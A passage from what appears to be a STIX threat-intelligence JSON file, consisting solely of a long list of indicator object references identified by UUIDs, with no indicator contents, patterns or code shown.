        "indicator--b7a4b1b0-851b-4d4d-b140-2b216c2da3bc",
        "indicator--8a9ffa76-4d71-42e9-b489-d5d914da4ca4",
        "indicator--e7536a9a-5327-4a08-bc17-12a3688eaa0a",
        "indicator--5cfa9a55-fbaa-433a-8b14-cc5524ea0eb8",
        "indicator--9a66a1a4-2f54-4a6f-b4f1-e9c97eedeaad",
        "indicator--3f7b6979-e028-4e24-889f-9d17b55ca9b7",
        "indicator--b2300202-ebca-43a1-8f96-17067ba5c5e3",
        "indicator--e367d539-9f42-46f9-858f-d19e225e4f7b",
        "indicator--2c51fcd0-440c-4445-b885-731d80a598b9",
        "indicator--d2912c8c-6606-4651-8fe0-8edd878a3763",
        "indicator--35f1c16d-bba9-489c-9069-5f6d47ca70e5",
        "indicator--381df123-d4b4-4c27-8cbf-a830fd612db6",
        "indicator--970081b5-d28e-49ca-8bf1-5eeea693dd54",
        "indicator--9ad523ad-2866-4316-8da6-27beb30cc7d3",
        "indicator--b1feb164-ab94-4a49-8ecb-d37b89e58a96",
        "indicator--7443620c-c400-477b-8cbf-1848226624ca",
        "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
        "indicator--e0dcf56d-bdcc-4bc4-82ff-af45a86b67f3",
        "indicator--abfd076c-395f-4518-862d-5cf9a21ec717",
        "indicator--2610f59b-668b-41f7-bbcf-5d5a17e65ce5",
        "indicator--9adb2db2-46c8-4ad2-8472-2318e5e46684",
        "indicator--4e578273-52fc-4573-9bc0-5b530185a1de",
        "indicator--9a146cb9-14a1-46d4-a8dd-a65aa6e12a9f",
        "indicator--d86a728f-1bf2-4fae-98fe-a3b3ca4318dc",
        "indicator--86133e5d-291f-4d5c-8825-38ea2c368f4a",
        "indicator--3e95802e-4542-4387-a0f1-b6df6fe3c6d7",
        "indicator--f781e68c-4870-4b41-81d0-ce67ff279c89",
        "indicator--9bfd7acf-6d33-4202-a0d2-77ccf2f1b54d",
        "indicator--920b3981-64cb-4b97-ae77-19a5e2ed5518",
        "indicator--050a4471-537a-46d0-a726-0514ac56530a",
        "indicator--45498817-6840-4409-88e7-b08bc9b627a7",
        "indicator--3ec66352-226d-4c4c-8027-23bd06ebcca4",
        "indicator--3a259a69-cb0c-479d-b6b3-25d47d856a0a",
        "indicator--239fa303-5fc9-445a-b344-ed0a30dd4ed6",
        "indicator--8ecb295b-a2b9-4a33-bc14-62798a217fef",
        "indicator--03be7bd4-b2c6-4c0f-b30b-47cb5ac475e5",
        "indicator--ce2bdeec-11e3-4a45-a569-ad47a7f57659",
        "indicator--eb050581-12ad-446a-b67a-c0b0d49396d5",
        "indicator--0af93769-4fb1-4ca0-8574-f3fa0d54c2f0",
        "indicator--be7c32ae-4e11-4366-a715-a6b2f20e30fa",
        "indicator--1764d159-a073-403e-ac5f-e6431129beff",
        "indicator--4696b359-2bf1-420a-8c55-24d6870da85d",
        "indicator--a8cdaafb-a8f8-4cd3-9727-bce1d8282e0e",
        "indicator--ff1f64c1-71e5-48d7-bc6d-07d1e6b0375a",
        "indicator--0ba1d591-1ed4-4ea5-b357-4c2f71cb03fe",
        "indicator--0fc17560-2b7d-4476-b872-824e1efcf829",
        "indicator--a2b57574-ba7d-448b-a4b9-3f3dd2c269dc",
        "indicator--4c44cf5a-53fb-4f0d-ac1d-e1404b1c6038",
        "indicator--1e2775d4-737d-4554-8c11-6c4c3ec3b13d",
        "indicator--9b50c1fd-db78-4128-b3d8-1cc32771ce56",
        "indicator--ecd36889-1ff2-4f07-bd23-50dfcf7752b7",
        "indicator--5804d2cd-f406-4dcb-9b69-95c5d576c263",
        "indicator--b559b1bc-c80c-4060-801d-e5415da326e8",
        "indicator--e55091b1-d117-4bf9-883c-c02c02b6774b",
        "indicator--c3cc0e97-cbe7-40ea-8ee9-51b2b32ec2e1",
        "indicator--910995b3-ba10-4600-b2cc-1d0f6b4cfe31",
        "indicator--f2e0d695-1efb-4872-9903-6dc590872055",
        "indicator--356965a8-cc6e-4705-8ec5-10cb419b6f6e",
        "indicator--ffdf6ac7-8697-4902-9a09-aa43c520e26d",
        "indicator--cfd3aa87-98de-4d25-bca6-27cab2e8158f",
        "indicator--d3d7040a-4d20-4c12-abe7-af2344a6d3de",
        "indicator--738240fe-241d-4b17-b490-d92403e5c6e2",
        "indicator--0ed1d7dc-6f44-407a-a923-edbac969af08",
        "indicator--d4d0df02-4e06-46d9-b4b9-b97faa667f50",
        "indicator--d702adde-cad3-4378-8d70-d00436d2e8fb",
        "indicator--5892e964-9072-4566-8dcd-83f897fe0203",
        "indicator--a075cd20-6289-41c8-bc7c-cdaf53ec5361",
        "indicator--e9e91ba6-41c7-41d4-bdfa-cfc865774c07",
        "indicator--dbe23c08-c0f8-4d56-b990-815d015b335c",
        "indicator--5868af3f-fc8c-46c6-9178-c2594609d9ae",
        "indicator--558d6aad-9a14-4daa-ba87-48b9ee4bf55c",
        "indicator--d630559e-277e-4637-8b86-b80274941e0c",
        "indicator--2b9f272b-bd0d-4079-a1d9-e7e82d24ff0e",
        "indicator--b0ff6eba-df5e-48ba-8409-de2e4cf3f352",
        "indicator--17ae3b3e-1663-4cad-a0c9-f7047a17ac04",
        "indicator--5ddff0d1-278e-4168-899c-e87b09c8bcaf",
        "indicator--b6c16c95-137d-4d73-8158-f3a3b8948083",
        "indicator--65752d5c-6aa2-462a-875d-442c404e8097",
        "indicator--064f3026-b2d4-49cf-9b62-94a6eb2d6481",
        "indicator--715fee5c-6a69-487d-a5c6-57cee59a734d",
        "indicator--a4927a2d-76d0-4004-8a03-056db79eaea9",
        "indicator--2feb03c1-6c1c-4610-8a80-922ea45a62f8",
        "indicator--ea122dfa-2dcd-4f1f-943f-df963efb380c",
        "indicator--b4d3d768-4271-4204-a45c-286458a89cef",
        "indicator--22848521-3fb9-4bef-ad44-fd2334b6a1dd",
        "indicator--0b56cdd1-4767-4d26-8810-13b906602302",
        "indicator--22b5d436-40b1-49eb-8505-eaaacb0b1049",
        "indicator--a6666363-66b7-4f11-b308-f176c2ecd238",
        "indicator--e1376428-1df2-4dc1-b7cf-5bfc2be47211",
        "indicator--c92d48bf-cae2-45c9-bad4-9bf27ff3d144",
        "indicator--33671782-4db7-4211-8708-d1920157a9ae",
        "indicator--8f6187b0-0db0-4d19-ae63-5d1c5e7b84f4",
        "indicator--a97ac6e5-74a8-4d80-bfdd-11faf08e5f3d",
        "indicator--c597b485-7d54-4e75-a332-cad12da14a11",
        "indicator--3b897ac3-c33f-42b1-a867-12e59e2a6b4d",
        "indicator--64a03e2e-5c19-4e5c-9186-f506b8b6b983",
        "indicator--77197f8a-dc07-4e3c-937a-b7be4b2a0caa",
        "indicator--240c1c40-5f29-45ea-8a2b-93406ed94a4a",
        "indicator--3a051a6e-dc2c-4b3a-88cd-0dfd992eb7ef",
        "indicator--2f6ca1b1-b2ea-4357-bd3b-233923af095a",
        "indicator--612b6ae8-0085-45a2-81ae-fc3424877cdc",
        "indicator--8224556a-df84-48f5-a8db-6ebffe33ee19",
        "indicator--fb9bcbd0-5642-4551-83bf-27d0b6bfa57f",
        "indicator--92c04d0e-419d-4064-b627-503a3b35c368",
        "indicator--1907b54a-70a3-4f91-8471-68288d449ee9",
        "indicator--38f9448d-e4dd-4414-8932-16f406be7ca6",
        "indicator--2deabd51-017b-4b14-a420-0b09377b7033",
        "indicator--778c1dbe-9862-47ce-9fbb-47168062e589",
        "indicator--bac3c099-97fd-4102-8a28-175db0d24a7d",
        "indicator--5776cd10-9292-4afb-b2fc-50a1c57ec0f8",
        "indicator--09069a83-a5a1-4298-a037-d71e70e3040a",
        "indicator--be731cd2-8959-40d7-bdac-e64cc60fe8d6",
        "indicator--5ca2d48a-e71d-44b4-96d8-49fa2b9cf2bb",
        "indicator--07e43948-9c6a-40c4-89e1-62ded8f64da4",
        "indicator--3cd85d4f-a77d-423d-b68e-bf74decc48cd",
        "indicator--b4b35f31-af0b-4fef-b01b-f8f5a251c057",
        "indicator--4f880fd6-0554-4325-ba5d-b7e1c6ecbf48",
        "indicator--853d6a44-1df4-41f2-8ad8-4d3cd0fb3131",
        "indicator--d4b38906-209f-4aa0-847d-026874e71a6a",
        "indicator--3ebfd125-89c5-4f5d-a292-46fca58be8fb",
        "indicator--7e1c16a4-0e8a-4544-9a55-97f87349600c",
        "indicator--c26ef894-92d6-41f4-8d3d-94a2a31be851",
        "indicator--9663e1ab-e58d-4203-9659-0c469cbc62fb",
        "indicator--2f6fb3ee-c392-445c-8ee5-91e86f4968e3",
        "indicator--75ce270d-0dff-4e3e-b70b-d3e495fae397",
        "indicator--068baec4-d4d2-48aa-90a1-f55bb6addc2a",
        "indicator--31b6df71-e5ab-4e8d-9e09-30307b1afc53",
        "indicator--382c2306-17d7-4700-9adb-74587654fb6f",
        "indicator--7768961c-d6f5-41db-88b2-0e89863cc28d",
        "indicator--17e62cd2-8171-4d7b-ad1b-fd5156564598",
        "indicator--a9fc4555-e6f7-4372-b9c4-8521662562c7",
        "indicator--473c18dd-0be5-4a61-96e4-d86aea62b7f9",
        "indicator--1f7d154c-3d0a-4f87-80e9-46cddf1c0cba",
        "indicator--85f42d31-85e1-451c-8eea-a46673b7a457",
        "indicator--c7dc194d-4d81-4b4a-8fc5-5f0e7d637da2",
        "indicator--f4b3405c-0cf6-4a9c-a39c-c76d3b951530",
        "indicator--d24a63b6-73da-4f69-9d11-c57ec1a14d92",
        "indicator--2464be56-c37e-4d1c-8a8b-df626eb9a6e1",
        "indicator--ca71eb1b-a8f9-482a-986b-cbfa519de84a",
        "indicator--69bed988-b0ec-4fad-8ed6-82c73d3f95c0",
        "indicator--b30b4375-549e-4757-b2f5-89e1dc2a006b",
        "indicator--da7f2679-4b11-40b9-a0ee-64945f35d9c1",
        "indicator--2e8eb4be-de74-45c3-b29c-7b63316ef923",
        "indicator--1b96f5a6-5ef1-4ac2-b17f-6e9be31e3d80",
        "indicator--14d23e47-f39e-4ac0-858f-4d1e553ee709",
        "indicator--37e4a552-ce0e-4f91-bd3f-3c900357ef2d",
        "indicator--72a9a38a-53c5-4a33-a56c-57b874e893d8",
        "indicator--1bc0785a-7d2c-4628-83e0-2bd84c0b0c0e",
        "indicator--a5b3164b-8322-4a82-8688-ed6a156ad158",
        "indicator--208f5abe-8033-4449-bdd4-6e8ff031761e",
        "indicator--5ecd5351-3e35-40fa-9a57-f94c9e432fc9",
        "indicator--e83cea95-97fd-4783-8b7d-b0aac10292e9",
        "indicator--8c38a34f-fad1-4771-918f-59c21f6ad910",
        "indicator--5f1691d1-b5b4-4078-ade0-bfefafd4c4b8",
        "indicator--9462fae7-c6d2-4484-84d7-92b8c5e1a1fe",
        "indicator--d2db912d-4cc1-4a80-b99b-b0c8e86a0516",
        "indicator--da9d732a-3bad-4029-916c-feaf7e7c548c",
        "indicator--70238ffe-6804-402f-9f16-bfdfaa2bd9ca",
        "indicator--16ec4d39-d4fb-48ee-ab24-60e78c8d5a2b",
        "indicator--96decabf-20ad-41ae-8e37-0070fa25eb00",
        "indicator--2e0ec5fc-3e7f-4c87-bafc-f2a24f0f675c",
        "indicator--88da100d-4e50-4286-bc64-15e6d92abfc0",
        "indicator--3b0d7736-420c-4967-b454-6751963008c0",
        "indicator--0a1bfb5e-057d-4c12-960c-ed866171f202",
        "indicator--724087f8-61a5-4cfd-9816-4e9498b73b20",
        "indicator--7fd5441d-0cce-436e-b043-ecba552ade18",
        "indicator--339a3096-3e3b-41b6-8bb7-1c528fef6286",
        "indicator--305b6558-00da-4cdf-9028-68b8191d7830",
        "indicator--1ba74ff7-c2d4-4ad2-9e8e-f90c3304ed29",
        "indicator--3c2c1f89-2420-4efa-b7d6-f3e7dfec9c12",
        "indicator--b8ddfe93-d4dd-4039-accc-034afefc300f",
        "indicator--7036f0f1-6fe2-47e5-9d55-9e74a1ccc258",
        "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
        "indicator--2102d983-7ef3-44fc-80a2-876cdbf01281",
        "indicator--86384632-733b-4981-9631-9ec4311873df",
        "indicator--fb005515-1f1c-4218-8fb8-687948426059",
        "indicator--33496fe0-c856-45f6-aa64-bab0d00b4142",
        "indicator--e79fcb23-c1f9-42c7-aa06-b26c8f05e876",
        "indicator--002ff2be-f9ea-4f84-b7dc-93145fea4956",
        "indicator--253c1736-6d97-425b-b8da-7decc8e3537a",
        "indicator--220bccf5-a109-4fc4-bc80-a1000861c695",
        "indicator--1f0cbba1-d14b-4488-9c12-83b8fe0ee0b8",
        "indicator--98a8e613-d897-4bf8-b8e0-ea0002207f13",
        "indicator--e75fe590-3ed1-4a1b-9d55-3b839c5dfd38",
        "indicator--0e162f98-1a2b-4207-bb7a-f63edb90107c",
        "indicator--caf95241-7a6c-4854-94cc-6975f6424b77",
        "indicator--3d4c4524-ac4b-405b-b2d6-b271a9decdf5",
        "indicator--5b09fcbd-d051-4473-8653-cc78192f7f1a",
        "indicator--734f8547-7c8a-4bf8-a9d3-d39ac2525515",
        "indicator--3481c05d-47f5-48b7-84c5-54babf73d83b",
        "indicator--f5841e0f-8b1a-461b-829a-8561c1af3c57",
        "indicator--2a1e2976-ab59-412c-8243-ec89d9fe8ff8",
        "indicator--f07d1bea-166c-4efe-8903-2865407cf9ee",
        "indicator--55eea7bc-290f-4ee2-a460-aa666f51cf3b",
        "indicator--2221b767-859e-4158-969f-35798a246027",
        "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
        "indicator--06efa0fb-c3f7-4774-885d-5e75056532fc",
        "indicator--a9e5e7dd-0dd3-4b4f-8532-42f878adad82",
        "indicator--bcfd17b1-d477-488c-be2f-5e5761bdb619",
        "indicator--41c418c2-cac4-4ac4-ad86-d11ba3f18d39",
        "indicator--adcd54a1-9a6b-4ca4-8124-10a699a7faf7",
        "indicator--a5abc64c-ac6b-4d0b-8da6-51adf5d4cec0",
        "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
        "indicator--9f0af63f-722f-44c5-b9ec-ee9570ffdcad",
        "indicator--b3e22f07-020c-44cf-b219-cb12ea30a102",
        "indicator--b5455d5a-2438-4799-9d04-f53c88f89ee5",
        "indicator--8d4bccb1-0edc-4872-b8a4-7c4d6d89d90d",
        "indicator--43f8a94a-6ec0-486d-94cd-71635051e159",
        "indicator--bbc5e312-87a8-48b1-a232-80c7bd3b50bd",
        "indicator--538daff8-76c7-41c4-9965-47822f36ac01",
        "indicator--2860f005-1dee-42f9-aff2-85fb502dcde1",
        "indicator--754d36fa-3c97-4a0c-b09e-a668ad91e556",
        "indicator--6e47d79d-ae36-4f03-bad9-557bdde2e795",
        "indicator--4acf77eb-bf69-4470-9e5b-9e807e05fc1c",
        "indicator--a074ff39-947f-4268-b078-73cb8c9436e8",
        "indicator--4820d1e5-3c93-4689-a194-c89e71434219",
        "indicator--c55d2484-e410-4432-9244-5e0a68a23ec0",
        "indicator--edec7127-9932-4105-9679-deb54846ffa0",
        "indicator--16b33905-87b2-4418-994b-958fd450c8a7",
        "indicator--e1bf163f-55f7-4e66-8dbc-9ca5b959e7bf",
        "indicator--d501647f-e230-4f8a-9ab7-9311ecb9c1cd",
        "indicator--d839b69d-bbd1-4433-862a-681eed138cd8",
        "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
        "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
        "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
        "indicator--66dd9939-7f17-47ff-83fc-47ff9b0c2431",
        "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
        "indicator--a753559b-de55-41f9-b6d2-388fff534a0a",
        "indicator--1787b9f4-d022-4911-9d8c-4d10dcc6e2f5",
        "indicator--76d41842-f55b-4074-ba05-cbe2689eecd2",
        "indicator--4f4a2851-f9fc-40eb-a980-3d471a8ff54c",
        "indicator--9f66db7c-ff4e-41ba-87ca-444e4c84a881",
        "indicator--0dcd8d83-760e-4cf3-82be-9c0104a7068a",
        "indicator--1c19e933-cd9c-423d-bfb0-79a5e94415ba",
        "indicator--b4535b88-6e7b-4013-8980-1abc62dd15cc",
        "indicator--52309ece-0749-404b-8ae6-8c83f5957fff",
        "indicator--09c217d7-de8e-4254-a492-0966ff3eca97",
        "indicator--d962be3a-4355-4e3e-b3a9-ac85b09f8512",
        "indicator--c0f7c426-6e0c-47af-a920-08b43cad7b4d",
        "indicator--bf6150fb-c489-4d9a-871f-330f892a2ae7",
        "indicator--e585073c-9469-4585-ac0f-9b9019590bdb",
        "indicator--7a34770b-ab35-4508-a9c4-1b7080ecdc83",
        "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
        "indicator--ee50b06c-37dd-403d-8eb1-adcdbe082b2a",
        "indicator--ecd9592b-80c7-41d7-8a96-6a3179859360",
        "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
        "indicator--f6b021ad-1559-43fc-8b05-9276d85f8348",
        "indicator--4bbc3302-4a99-4143-a57c-da4361bdf604",
        "indicator--6da6ee9e-cc89-4d25-a945-ea7961438779",
        "indicator--07ecdfda-1459-4ddd-8afb-049a54a9689f",
        "indicator--213f4b8f-8531-40da-8ee7-d0a5bc7149bf",
        "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
        "indicator--a6fc7525-fdd5-49a8-9dd5-7c553fd98f10",
        "indicator--f7102020-a896-479b-bf24-2f43395f2aef",
        "indicator--a754de3b-0965-416b-a863-f7d4866f82dc",
        "indicator--569b7ade-8c08-4a2c-8e38-5d4585b63721",
        "indicator--ac231a55-5f25-4948-9dfc-fe87d18329ff",
        "indicator--2cd2ef36-da2f-4f22-a346-34187abdf3e0",
        "indicator--e06ceedf-30d2-489e-a76b-4d6807925e92",
        "indicator--82d857a3-1d9a-4f4b-a784-6578166e7797",
        "indicator--553bbd7b-ea95-4d38-83d8-7baed8917879",
        "indicator--2b4b297f-8d09-46b3-b92d-e675cc03224b",
        "indicator--cc00728c-0986-4667-bed4-381d71c0ca04",
        "indicator--d39a92a3-5ae1-4017-80ba-10c97aec1599",
        "indicator--d9821baf-7c43-4bfa-9de6-7fb2145179b4",
        "indicator--85848156-1826-4a23-b2d6-02e588231231",
        "indicator--8f2c2c3d-c984-44db-b993-653cc5a709a5",
        "indicator--6e16c9b9-e87e-4864-930d-34cd148e1404",
        "indicator--3994c51a-01eb-429b-9a57-2aab18cb12ef",
        "indicator--84349263-d16b-4d04-bd30-cf08abeea5b4",
        "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
        "indicator--63ecf326-9828-4efe-b1e1-cb7399f04041",
        "indicator--12bf6a79-6585-457c-985c-42e4d05cd3c7",
        "indicator--367bc302-8cbb-4161-8e6e-fef2f7f419eb",
        "indicator--ad940ac8-7168-4e17-b0c3-127809809844",
        "indicator--38c4f427-75b2-4aa3-96bc-2a256975f4d4",
        "indicator--8923260f-1a87-40dd-9585-caea129b3848",
        "indicator--35b1e94a-f66b-4630-9139-8194865707d9",
        "indicator--4b1ed994-d4e9-48f3-ad4b-f91065e38290",
        "indicator--a6001d6b-7435-46f8-ab43-96d9dbad2c4d",
        "indicator--d39d0b1f-76e7-4bef-81d9-a5404406865d",
        "indicator--6fd24f85-1ffa-4bac-a62d-5e9ef2db2fe4",
        "indicator--6184d0f4-e69c-4b47-9eeb-d30d3d3c027e",
        "indicator--aefe426f-092c-4f97-8df6-d36d51468ded",
        "indicator--402f9dc6-b683-471e-bf7f-67068fe1b985",
        "indicator--c1b4eb44-6f6f-446b-ab7b-aee02ba971e9",
        "indicator--64fed0eb-e52f-4917-8ede-bfc1223ff07c",
        "indicator--621825ec-81e1-41b7-b357-5b09b139ae47",
        "indicator--deb01864-1fe8-4eb1-8030-33fe94c3db4b",
        "indicator--ea7273eb-b798-4821-abc4-7cb9a557cb56",
        "indicator--b5841008-c8cd-43e1-a346-21f3751ad209",
        "indicator--7c07bc7d-2475-4c39-acfb-864bee039ba7",
        "indicator--1714e6af-c3c9-4f4a-bbc0-633bf0b102c6",
        "indicator--a0749bc3-f370-40c8-8ec4-99bb30c9a3de",
        "indicator--3fa467d0-6e96-4264-8007-e82f65e5fb46",
        "indicator--6890cb18-723d-4594-8223-3e5027b0dd10",
        "indicator--f7c7419d-6b3b-41f8-aa28-7ce416a80fb0",
        "indicator--e37f115d-0a56-447d-a2d7-8485d85ed248",
        "indicator--dc2b5f21-2c8e-420b-8dcf-446dd266087e",
        "indicator--11a84875-4ed4-445f-8515-b230b920ed9b",
        "indicator--8e1a67a8-b6af-44a7-a9ab-5145324fef54",
        "indicator--63f4eca2-8b85-4a7d-a9a0-9cbc6e96d5a6",
        "indicator--0aa94806-cceb-4525-a405-2cefd569db0d",
        "indicator--21a69a46-0311-49aa-9b45-dd7ad02b0fbf",
        "indicator--75407c0e-846c-4893-9f4a-ef2aff681089",
        "indicator--cdecd110-1dd2-4986-b3d8-a41d70edb3fc",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--1d867c27-670b-4838-85a6-95804199e21a",
        "indicator--03dc2085-f688-4f74-87fd-7e44b5eb103f",
        "indicator--1ed6159c-7f9d-4e22-9abe-d86fea443c1a",
        "indicator--a1511aef-ccc0-45b3-a0d9-a8fdc391649e",
        "indicator--d5e8aac9-00b6-448a-97bf-0e4ff216f82e",
        "indicator--d2a471c0-decf-4509-87bd-a4eed4366252",
        "indicator--6aad7abd-6780-4101-829f-107fd9e238bb",
        "indicator--50452a9e-cee1-454f-b98e-0cde91c974e6",
        "indicator--8a826fde-a9f9-49e0-99d9-937757daed9e",
        "indicator--680b6a9a-4792-4872-b888-5c51c853a2a8",
        "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
        "indicator--2668b46b-5a36-4471-a1bd-309f0db889fd",
        "indicator--0ee4c896-6167-4e9d-8217-71f068b38751",
        "indicator--8f25946a-1654-4a75-9862-d46bd01a440b",
        "indicator--4f7313a2-2ba1-45c5-a546-e2673c1d86d2",
        "indicator--8b7def98-c081-4da1-9e2e-9360e12bd673",
        "indicator--7946f9be-1cc1-4d90-81e4-4a55e3b14f44",
        "indicator--5e2eac51-672c-4622-b530-c497a6053661",
        "indicator--6075b5ca-762d-40ac-b862-3045d87e08c1",
        "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
        "indicator--f629b261-e8d1-4b93-985a-be3e2ea94a14",
        "indicator--18add57e-cfb9-40e8-b9c6-b13262dbcb24",
        "indicator--b0310487-b90d-4d2e-8174-da76c9219470",
        "indicator--a783816c-e030-48a3-b395-3b016d6ff119",
        "indicator--478680a3-0a16-47e5-ba45-c75633bb8c63",
        "indicator--7c627d8b-054d-40ae-956c-843a8e92ed5a",
        "indicator--5773ffca-2fbf-4f05-a753-52b16ed52f9d",
        "indicator--3b3f1779-ba36-4a8e-a876-2588007ba9fb",
        "indicator--463d2411-f431-41c9-ade1-d5c8594daec8",
        "indicator--652070d9-0598-4f70-ab99-1d034fa920c3",
        "indicator--58489c7e-baf0-4ff3-b62d-0d29e1fe1f2a",
        "indicator--09eee1ca-b3f8-4cf8-9203-aefdb24b7547",
        "indicator--5a983d9c-8434-4d63-bbdf-49f57c302731",
        "indicator--a031bcbb-869d-4da3-8846-2d29f1ee4e87",
        "indicator--204bf233-89d4-4e11-87e6-b37b3de6129e",
        "indicator--dea0d186-20b4-44c1-a403-8a878fd99dfd",
        "indicator--53f525b1-85eb-4ece-a090-d95c21e0310c",
        "indicator--2538398c-94bd-4eed-9e26-f69ea36327e4",
        "indicator--695778af-fe75-4217-87f4-4f99cab2189a",
        "indicator--b46d7347-7307-4ce4-83b6-4b65d5e17c23",
        "indicator--66c18eba-01a8-45c1-8754-0325efbe9905",
        "indicator--e106877b-92f3-42d5-8bf8-975d9f11b23e",
        "indicator--02233260-9932-4056-b92c-67fcac37ef9a",
        "indicator--1c347161-a5c9-4d57-b97d-dc219e6abcf4",
        "indicator--4dab90db-242b-4476-90e3-b77f585295a4",
        "indicator--74cb628a-e744-4759-a30b-46ec5fea02dc",
        "indicator--4c2f68db-7e4f-43aa-ac66-c6b4991129d4",
        "indicator--0f218765-5fb1-4e64-8fdf-22847d478bc9",
        "indicator--87056a07-fac3-40d6-95f3-9b4fff19e1e1",
        "indicator--4fa7dcd3-7ccc-4bb7-8f20-456a01bf4dc4",
        "indicator--e1894f28-dff7-4d39-81f1-07d63a453100",
        "indicator--b3c719af-eee6-44ab-9d11-9e83839dabf4",
        "indicator--e5e8bf4d-5ba8-42ce-9151-afb2ec360881",
        "indicator--885a96b3-9079-4bce-a80f-360b997e0198",
        "indicator--75fb6b91-535e-4282-809f-ffd6400f98f3",
        "indicator--937ad94f-198a-4cd6-840c-55af78f29d97",
        "indicator--fb564bf2-53d1-439b-894f-fef21c92dd55",
        "indicator--be2cd90b-1c89-47a1-906d-a1a64fecd252",
        "indicator--c776f098-bb9d-4f20-82a1-191e4538eae1",
        "indicator--007c8914-e144-4de3-b143-783ccbc6e7d8",
        "indicator--cc91c749-612c-4c85-aeca-68366ac7e1ce",
        "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
        "indicator--022ecf12-0219-40ea-ae75-1edd89633818",
        "indicator--330f320b-4f3c-48ba-9e6e-b15f4095b47a",
        "indicator--00849a1c-783d-48f1-b2e9-fad6de872680",
        "indicator--46b4813b-9117-445f-bfe6-69a7d8651ca6",
        "indicator--11944524-6b76-46fa-af31-57d56da9c5c2",
        "indicator--655ee527-2884-4391-aa90-b8193d4d454a",
        "indicator--09d4700f-df94-4147-8983-4842acdc57b4",
        "indicator--aa9e556e-cd42-4edb-b059-683e185b6c9c",
        "indicator--030ca50c-9020-4435-bbb2-c9deb7830c51",
        "indicator--281dd528-fa12-4d66-9a82-052f41c3f1f1",
        "indicator--47289d23-f5fd-4328-b6ba-a1baa23ebe02",
        "indicator--073bd8ca-21a1-4191-a3ad-bc88c7853b0a",
        "indicator--98144b27-e8e8-4084-8f66-ee2fc9bef668",
        "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
        "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
        "indicator--87ba0f74-b99a-493a-ab45-89f4a82a1a8b",
        "indicator--d418fb8e-27f0-4676-902f-c53c81ad9821",
        "indicator--71f5bf03-d680-442c-81f9-b166dd68bed6",
        "indicator--ab259303-a5bd-4445-a0d1-0f99a59f513c",
        "indicator--2e6d4418-65f5-4c7d-bc53-04e43e36154d",
        "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
        "indicator--418a3370-7058-458d-b474-a6e13d989112",
        "indicator--02022375-6e0b-4e5d-92ae-360aae4a95e2",
        "indicator--80548017-1fe8-4fd9-b95e-e13caa05ae7f",
        "indicator--68554e90-f00c-48db-a5df-d4be70bd12ed",
        "indicator--15c79056-de98-49e4-afd9-faea8027efab",
        "indicator--c8937107-7448-4847-9a42-1e24bf5bc885",
        "indicator--036989be-d3fc-4c85-82d2-11a44dfa06b9",
        "indicator--5091cc94-a8e7-4310-9aa8-2b13afa146c8",
        "indicator--1e75487f-d130-4652-9dc6-81b1281d4e25",
        "indicator--725aa4b9-3cca-4687-8ddc-f6285a7b2bc1",
        "indicator--9c51f2f0-8515-435d-afb1-cbacf6a78d29",
        "indicator--cb75b7ef-b8a2-495c-803d-0767bb4f3e3e",
        "indicator--06001c7f-0f7d-4423-b74d-2a6e38287647",
        "indicator--d83a79ff-9563-4460-8407-3ab43a33554b",
        "indicator--4c847d3c-20dc-4fef-9ced-8b37c2e1b26a",
        "indicator--7ef9c43f-3d6d-434a-b464-1e121abf2d29",
        "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
        "indicator--b2e92ddc-ecaa-437d-890b-1637081a3487",
        "indicator--f10cbed5-d0ed-4ada-90a3-e8d99d3c5404",
        "indicator--920d860e-c9bd-4085-ab55-bd92c3500f6e",
        "indicator--e011bc3a-12df-4bf9-8b4b-488912d9ca84",
        "indicator--bf68ab99-bf88-4a2c-a250-b647b1b221b5",
        "indicator--4eb81434-3cf8-494e-a546-05fd8e9266bb",
        "indicator--9d279288-86c5-4e0f-81c4-072924d958a8",
        "indicator--a16b31de-f9c0-452d-b630-ec5cec146f05",
        "indicator--adff7f20-41cc-4442-9d5d-d0c571f09702",
        "indicator--ae733f98-2d1d-47ae-b2b2-c18742932baf",
        "indicator--aa037e8c-8afc-4336-96f2-01d1c8781e02",
        "indicator--8f7a7e3f-d83e-4a2d-8903-ad1466ddf3b9",
        "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
        "indicator--a292220c-7f18-4a44-920a-65ba8666cd52",
        "indicator--1dc33264-e679-4acd-b56f-b9971ca9f65a",
        "indicator--86002e49-e8de-4bf8-af2d-aed4efc58f09",
        "indicator--d962e9d7-de6b-42f9-9cdf-39c3cfc7bf2a",
        "indicator--3e5a149c-9421-47d8-97bb-2723982d9d54",
        "indicator--0a086091-ad7a-4f17-852c-593ac12863ce",
        "indicator--5c37609b-2815-425c-8825-131b1963ad55",
        "indicator--ad4e71ad-c6ee-4dc2-89e6-d6478c36ffae",
        "indicator--38647b45-c30e-4008-a2b9-b149a69fa0f6",
        "indicator--3a4bf1fb-41f3-40cb-953d-9fbdf66fb1b7",
        "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
        "indicator--d4ceb43c-449e-4fd8-acf8-7e800468e17d",
        "indicator--ba96e27c-a2e7-429a-8c59-35a759f23a07",
        "indicator--880d4947-b519-44b3-a23b-9945f5485cde",
        "indicator--e8f72e52-8061-4b8d-9be5-e079ee3f4518",
        "indicator--3b3f5e52-07a6-4560-8472-1db3d83b8f55",
        "indicator--501b51c3-6d85-486f-8249-12e0ecde379d",
        "indicator--efd8853b-fafb-4512-bbb6-1ae07d1d64fd",
